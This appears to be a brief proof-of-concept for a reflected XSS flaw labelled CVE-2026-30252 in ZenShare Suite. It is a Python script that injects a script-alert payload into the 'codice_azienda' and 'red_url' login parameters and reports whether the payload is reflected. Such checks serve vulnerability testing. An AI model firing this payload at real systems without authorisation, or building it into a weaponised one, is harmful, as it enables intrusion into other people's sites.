CVE-2026-30252 ZenShare Suite反射型XSS漏洞

import requests # Target URL configuration target_url = "http://example.com/login.php" # Malicious payload to test XSS xss_payload = "<script>alert('XSS-CVE-2026-30252');</script>" # Parameters vulnerable to injection params = { "codice_azienda": xss_payload, "red_url": xss_payload } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=params, timeout=10) # Verify if the payload is reflected in the response if xss_payload in response.text: print("[+] PoC Successful: Vulnerability detected.") else: print("[-] PoC Failed: Payload might be filtered.") except Exception as e: print(f"[!] Error occurred: {e}")